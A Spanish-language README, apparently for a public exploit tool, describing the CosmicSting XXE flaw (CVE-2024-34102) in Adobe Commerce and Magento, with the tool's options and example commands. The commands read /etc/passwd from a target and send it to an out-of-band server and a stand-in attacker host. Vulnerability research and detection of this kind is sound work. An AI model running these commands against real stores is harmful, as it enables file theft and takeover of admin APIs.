
CosmicSting: vulnerabilidad crítica XXE sin autenticación en Adobe Commerce y Magento (CVE-2024-34102)
CVE-2024-34102 es una grave falla de seguridad que surge del manejo inadecuado de la deserialización anidada en Adobe Commerce y Magento. Esta vulnerabilidad permite a los atacantes explotar Entidades Externas XML (XXE) durante el proceso de deserialización, lo que potencialmente permite la ejecución remota de código. En resumen, los atacantes pueden crear cargas JSON maliciosas que, al ser deserializadas por la aplicación, instancian objetos con propiedades o comportamientos no deseados. Esto podría conllevar varios riesgos de seguridad.
La explotación de esta vulnerabilidad permite a los atacantes obtener acceso de administrador no autorizado a la API REST, API GraphQL o API SOAP, lo que potencialmente conduce al robo de datos, interrupción del servicio y compromiso total de los sistemas afectados. Esta vulnerabilidad representa un riesgo significativo debido a su capacidad para exfiltrar archivos sensibles, como app/etc/env.php, que contiene claves criptográficas utilizadas para la autenticación. Los atacantes pueden explotar esto para falsificar tokens de administrador y manipular las API de Magento como usuarios privilegiados.
Además, CVE-2024-34102 puede encadenarse con otras vulnerabilidades, como el exploit de cadenas de filtros PHP (CVE-2024-2961), lo que lleva a la ejecución remota de código (RCE). Las implicaciones más amplias de las vulnerabilidades de Entidades Externas XML (XXE) permiten a los atacantes recuperar y manipular datos de fuentes externas, agravando el impacto potencial en los sistemas comprometidos.
usage: exploit.py [-h] --target TARGET --read-file READ_FILE [--oob-server OOB_SERVER] [--host-server HOST_SERVER]
Exploit script for XXE vulnerability
options:
-h, --help show this help message and exit
--target TARGET, -t TARGET
Target URL (http(s)://ip[:port])
--read-file READ_FILE, -r READ_FILE
File to read from the remote host
--oob-server OOB_SERVER, -ob OOB_SERVER
OOB server URL (http(s)://ip[:port])
--host-server HOST_SERVER, -hs HOST_SERVER
Host server URL (http(s)://ip[:port])
Ejemplos
# Run with local attacker server and local OOB server
python3 exploit.py -t https://magento.test -r "/etc/passwd"
# Run with remote attacker server and remote OOB server
python3 exploit.py -t https://magento.test --oob-server http://xxx.oasitfy.com --host-server https://remote-attacker-server.com -r "/etc/passwd"
# Detection
python3 detect.py -t https://magento.test
Este script de exploit ha sido creado únicamente con fines de investigación y para el desarrollo de técnicas defensivas efectivas. No está destinado a ser utilizado para actividades maliciosas o no autorizadas. El autor y el propietario del script rechazan cualquier responsabilidad por el mal uso o daño causado por este software. Se insta a los usuarios a utilizar este software de manera responsable y solo de acuerdo con las leyes y regulaciones aplicables. Úselo con responsabilidad.